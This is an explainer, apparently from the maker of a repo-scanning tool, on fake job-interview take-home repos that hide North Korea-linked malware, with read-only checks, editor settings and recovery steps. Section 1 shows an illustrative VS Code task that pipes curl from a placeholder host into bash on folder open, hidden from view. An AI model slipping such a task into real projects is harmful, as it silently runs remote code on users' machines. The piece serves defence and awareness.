Fake job interview malware: how the take-home repo infects you, and what to check first

Most reports start with a recruiter message. Socket says the actors approach targets “posing as recruiters or hiring managers”, mostly on LinkedIn (Socket, October 2025). The joint advisory that Japanese, US, Australian and German agencies published on 18 September 2026 adds social media, online job platforms, gig work platforms and freelance marketplaces, and says the actors have also used recruiting services (joint advisory). Elastic saw a fake job post in its own community Slack in May 2026, with the “recruiter” moving people into direct messages (Elastic). In one Hacker News thread, a commenter reports the same kind of message in programming Discord communities (HN).

The recruiter usually claims to be from a cryptocurrency or AI company (Trend Micro, Microsoft), or an NFT company (joint advisory). One developer who received a lure wrote that the attackers “just used whatever company name they found” (CITIZENDOT). A real company name on the message proves nothing.

Then comes the ask. The documented versions:

• Clone it and run it as a technical assessment, from GitHub, GitLab or Bitbucket (Trend Micro, Microsoft). Socket quotes the instruction as “just run npm install”.
• Get a test project running, a React and Node codebase, with about 30 minutes to review it (David Dodda, discussed on HN).
• Improve the codebase and do some git operations, sent as a zip on Google Drive with a PDF brief. The git steps are there to make you run a command that fires a hook (CITIZENDOT).
• Fix an error: download and run a file to troubleshoot the video-call platform (joint advisory), or paste a command to clear a made-up technical error, which Microsoft calls a “quick fix” (Microsoft).

Pressure is part of the design. Microsoft says the lures work on job seekers during “periods of high motivation and time pressure”. Abstract Security found that “please follow the setup instructions exactly” is often enough (Abstract Security). The agencies describe interviewers using AI face-swapping, then turning their video off after a few minutes for “network issues” and asking the candidate to do the same (joint advisory). The CITIZENDOT lure opened with an unsolicited LinkedIn message offering $10,000 to $15,000 a month.

The warning signs on the people side are in how to spot a fake recruiter. The same playbook reaches freelancers as a new client who wants a quick fix to their site before the contract starts; that variant has its own page, the freelance client repo scam.

Security vendors each name the group behind this, and the names overlap. They're vendor labels for the same or overlapping activity, attributed to North Korea:

Vendors draw their clusters differently, so don't read the table as one to one. For you, the name changes nothing about what to check. The scale does matter. The agencies say WaterPlum infected at least 30,000 devices in more than 100 countries between around December 2025 and July 2026, and took funds or credentials from over 7,000 cryptocurrency wallets. The main targets were “web designers, engineers, and specialists in cryptocurrency, blockchain, and Web3 technologies” (joint advisory).

The application code in these repos often looks ordinary. The trigger is one line in a file a tool runs for you. These are the places documented campaigns used, in the order they'd run on your machine.

1. .vscode/tasks.json, when you open the folder

A task with "runOn": "folderOpen" runs when the folder opens (VS Code docs). Trend Micro found 392 tasks.json files set up as downloaders and 131 more that launch a fake font or image file (Trend Micro, April 2026). Abstract Security documented curl or wget piped into a shell from Vercel-hosted domains, tasks labelled eslint-check, and JavaScript hidden in files such as webfonts/fa-brands-regular.woff2, src/assets/card4.jpeg and .vscode/spellright.dict, with commands padded far off-screen (Abstract Security, January 2026). Microsoft says that in recent intrusions, trusting the repo makes Visual Studio Code run its task configuration file automatically (Microsoft). An illustration of the shape, with a placeholder host:

{
  "label": "eslint-check",
  "type": "shell",
  "command": "curl -s https://example.com/settings/mac | bash",
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "never", "echo": false }
}

A linter doesn't need to download anything, and a font file is not a program. How these tasks work and every setting that affects them are in VS Code tasks.json and folderOpen.

2. Build configs, when you start or build

Trend Micro found obfuscated JavaScript appended to the end of postcss.config.mjs, tailwind.config.js, eslint.config.mjs and next.config.mjs, pushed off-screen with whitespace so it doesn't show during review. It counted more than 750 repos with a loader carrying the marker global['!'], and 60 files with a variant marked global['_V'] (Trend Micro). A config file is code to the tool that loads it, so the payload runs with the dev server, the build or the linter. More in malware in next.config.js and other build configs.

3. package.json install scripts, when you run npm install

Socket describes loaders where “install or import triggers threat actor logic via npm lifecycle hooks such as postinstall”, sent as take-home repos (Socket). Microsoft lists “dependency installations” next to repository tasks as the ways the malware runs (Microsoft). The script can sit in the repo's own package.json or in a dependency it pulls in. npm install --ignore-scripts skips those scripts, but npm start, npm test and npm run still run theirs (npm docs). Every lifecycle script and how to read them: npm install scripts.

4. The require chain, when you run npm start

Some lures keep package.json clean and put the loader in code the app runs at startup. In a case Elastic published in July 2026, base64 fragments were hidden in comments inside the SVG flag images in assets/flags, reassembled by serverValidation.js and run with eval; server/index.js called it on startup, so npm start and npm run dev both ran it (Elastic). In David Dodda's case the code sat in server/controllers/userController.js, fetched a URL and ran the response with new Function (David Dodda). Socket has also found loaders inside ordinary-looking functions in packages, such as a logger's log method (Socket, April 2026). Follow the start script to the file it runs, then every local file that file requires.

5. Git hooks, when you commit (zips)

In the CITIZENDOT case the repo came as a zip, and .git/hooks/pre-commit piped a remote script into sh or cmd in the background; the brief asked for git operations so the hook would fire (CITIZENDOT, July 2026). Git runs pre-commit on every git commit (githooks). As one commenter put it, “Hooks are not checked in to the repo, so they used a zip archive” (HN). A zip can also carry a .git/config, where core.fsmonitor can name a command git runs to speed up commands like git status (git-config). Details in git hooks security, and the zip hand-off example shows both.

The families researchers name most often, described as their sources describe them:

• BeaverTail. A downloader and infostealer that goes after browser passwords and crypto wallets (Unit 42, October 2024). The agencies describe it as JavaScript malware hidden inside npm packages (joint advisory).
• InvisibleFerret. A Python backdoor, which BeaverTail downloads; it collects keystrokes, sensitive files and .env files (Unit 42). Microsoft says it's now mostly deployed as a follow-on payload (Microsoft).
• OtterCookie. A JavaScript backdoor first seen in September 2024 (Microsoft). Elastic describes it as an all-in-one package with a browser credential and wallet stealer, a file stealer, a remote access trojan and a clipboard stealer, and says it overlaps with BeaverTail (Elastic).
• Others. The joint advisory adds OtterCandy and StoatWaffle; Microsoft adds FlexibleFerret; Trend Micro adds OmniStealer and a variant of the DEV#POPPER remote access trojan.

What they take, per the agencies: logins saved in your browser, clipboard contents, keystrokes and screenshots, wallet private keys and seed phrases, and any files of interest, including photos of ID documents (joint advisory). Microsoft adds API tokens, cloud credentials, signing keys and password manager files (Microsoft). The agencies also warn that stolen credentials can be used against your employer and clients, and stolen IDs to impersonate you.

1. Don't open the folder in VS Code or Cursor, don't run npm install or npm start, don't paste any command you were sent, and don't do the git steps. Deadlines in these messages are part of the lure.
2. Read the files without running them. For a GitHub repo, press . on the repo page to open github.dev, which has no shell (Abstract Security). For a zip, list it before you unpack it:

unzip -l assessment.zip | grep -E '(\.git|\.vscode)/'

3. Unpack it into an empty folder (or download the repo as an archive), and from a plain terminal check the five places above. Don't run git commands in a zip's folder until you've read .git/config.

# 1. tasks that run when the folder opens
grep -rni "folderopen" .vscode *.code-workspace 2>/dev/null

# 2. install and start scripts
jq .scripts package.json

# 3. config files with very long lines (code pushed off-screen)
find . -name node_modules -prune -o -type f -name '*.config.*' \
  -exec awk 'length > 500 { print FILENAME ":" FNR }' {} +

# 4. the loader markers Trend Micro published
grep -rnF -e "global['!']" -e "global['_V']" --exclude-dir=node_modules .

# 5. live git hooks (only a zip can ship them)
ls .git/hooks 2>/dev/null | grep -v '\.sample$'

4. Any hit you can't explain is your answer. No hit isn't a pass: the full file-by-file pass is in how to check a GitHub repo for malware before you clone it.
5. If you still want to do the assignment, do it somewhere that has nothing to lose. The agencies' advice is to “only run unknown code inside a sandbox or virtual machine” (joint advisory). The setup is in how to do a take-home without risking your machine.

VS Code 1.109, released 4 February 2026, changed task.allowAutomaticTasks to default to off (release notes). Left at the default, VS Code asks the first time a trusted folder has an automatic task, and answering Allow turns them on for every trusted folder from then on; set to off yourself, it doesn't run them or ask (the details). Automatic tasks never run in an untrusted workspace (VS Code docs). Workspace Trust is on by default, and trusting a parent folder trusts every folder under it (Workspace Trust), so don't open a stranger's repo inside a folder you've trusted before. The agencies give the same advice: answer “No” to the trust prompt to stay in Restricted Mode, and read .vscode/tasks.json there or in another editor (joint advisory). Abstract Security notes that once you trust a repo, tasks added in later pulls run without a new prompt (Abstract Security).

Cursor documents Workspace Trust as “disabled by default” (Cursor docs). With it off, Oasis Security showed a folderOpen task running as soon as a folder was opened (Oasis Security). Put both lines in your user settings.json. The first is the one Cursor's docs give; the second is VS Code's tasks setting, and Cursor's docs don't say what its default is, so set it yourself:

"security.workspace.trust.enabled": true,
"task.allowAutomaticTasks": "off"

Cursor notes that Restricted Mode breaks its AI features, which is one more reason to read a repo before you trust it rather than after.

PreClone reads a repo without running it and lists what would run on your machine, grouped by when: on folder open, on install, on start, on commit. The fake take-home example is an inert copy of this lure. Its report shows a folderOpen task that runs a .woff2 font with node, a postinstall script that pipes a download into a shell, a lookalike dependency, and the npm start chain down to server/config/db.js, the file that holds the loader. Paste a link on preclone.dev; public repos need no login, and zips are read inside your browser tab.

It can't see what a server sends when a script downloads something at run time, the machine code inside binaries, your dependencies' own source (the loaders Socket found inside package functions live there), or tricks nobody has written a rule for yet, such as a payload split across files in a new way. So it never calls a repo safe. The full list is on what it checks.

If you opened the folder in a trusting editor, installed, started the app or committed, assume the payload ran. The agencies' advice (joint advisory):

1. Disconnect the machine from the internet straight away.
2. Assume data, including wallet data, has already left, even after antivirus removes something. Create a new wallet on a separate device, move your assets to it, and keep the new seed phrase offline.
3. Back up what you need and do a full reset of the operating system.

From a different device, change the passwords saved in your browser and revoke and reissue tokens and keys: GitHub, npm, cloud, SSH and API keys. If it was a work machine, tell your security team now: the agencies warn that stolen credentials are used to get into employers and clients. Then check what you pushed from that machine: Elastic reports victims unknowingly pushing the backdoored repos to GitHub (Elastic), and Trend Micro found a tool that amends commits with injected code and force-pushes them (Trend Micro). The full checklist, with where each kind of key lives, is in what to do after running a malicious repo.

Report the recruiter's profile and the repo to the platforms they used. A repo check can't help after the fact; it's for the minute before you open the folder.